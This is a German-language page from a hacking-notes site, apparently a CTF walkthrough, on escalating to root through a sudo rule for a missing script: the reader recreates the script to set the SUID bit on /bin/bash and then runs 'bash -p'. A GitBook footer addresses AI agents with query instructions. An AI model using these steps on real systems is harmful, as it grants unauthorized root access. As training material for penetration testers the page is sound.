> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/sudoers/sudo-missing-file-linux-privilege-escalation.md).

# Sudo fehlende Datei - Linux-Privilegieneskalation

## Was es ist

Die sudoers-Privilegieneskalation beginnt mit den Befehlen, die ein Benutzer über `sudo`. Fehlkonfigurierte Binärdateien, unsichere Skriptargumente, der Umgang mit symbolischen Links und verwundbare sudo-Versionen können eingeschränkte sudo-Rechte in eine Root-Shell verwandeln. Diese spezielle Seite konzentriert sich auf **Sudo (Datei nicht gefunden)** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
sudo -l
sudo --version
```

## Beispiele

Wir entdecken eine Schwachstelle im Zusammenhang mit der Skriptausführung mit sudo-Rechten.

<figure><img src="/files/ad5b044411bcf7da88b7b9f56ea5131758f54706" alt=""><figcaption></figcaption></figure>

Das `monitor.sh` Datei scheint unmöglich zu sein, aber wir können ein Skript erstellen, das als root ausgeführt wird. Wir beginnen damit, die notwendigen Verzeichnisse zu erstellen:

```bash
cd /home/nibbler
mkdir personal
cd !$
mkdir stuff
cd !$
```

Wir platzieren die `monitor.sh` Datei mit dem folgenden Inhalt:

```bash
chmod u+s /bin/bash
```

Wir führen das Skript dann mit sudo-Rechten aus:

```bash
sudo /home/nibbler/personal/stuff/monitor.sh
```

Dies ermöglicht es Ihnen, die Berechtigungen von `/bin/bash` zu ändern, indem das SUID-Bit hinzugefügt wird. Wir führen dann den folgenden Befehl aus, um eine Shell mit Root-Rechten zu erhalten:

```bash
bash -p
```

<figure><img src="/files/90ce7ffcdddfa597c36a9970369d66cf30218332" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/sudoers/sudo-missing-file-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
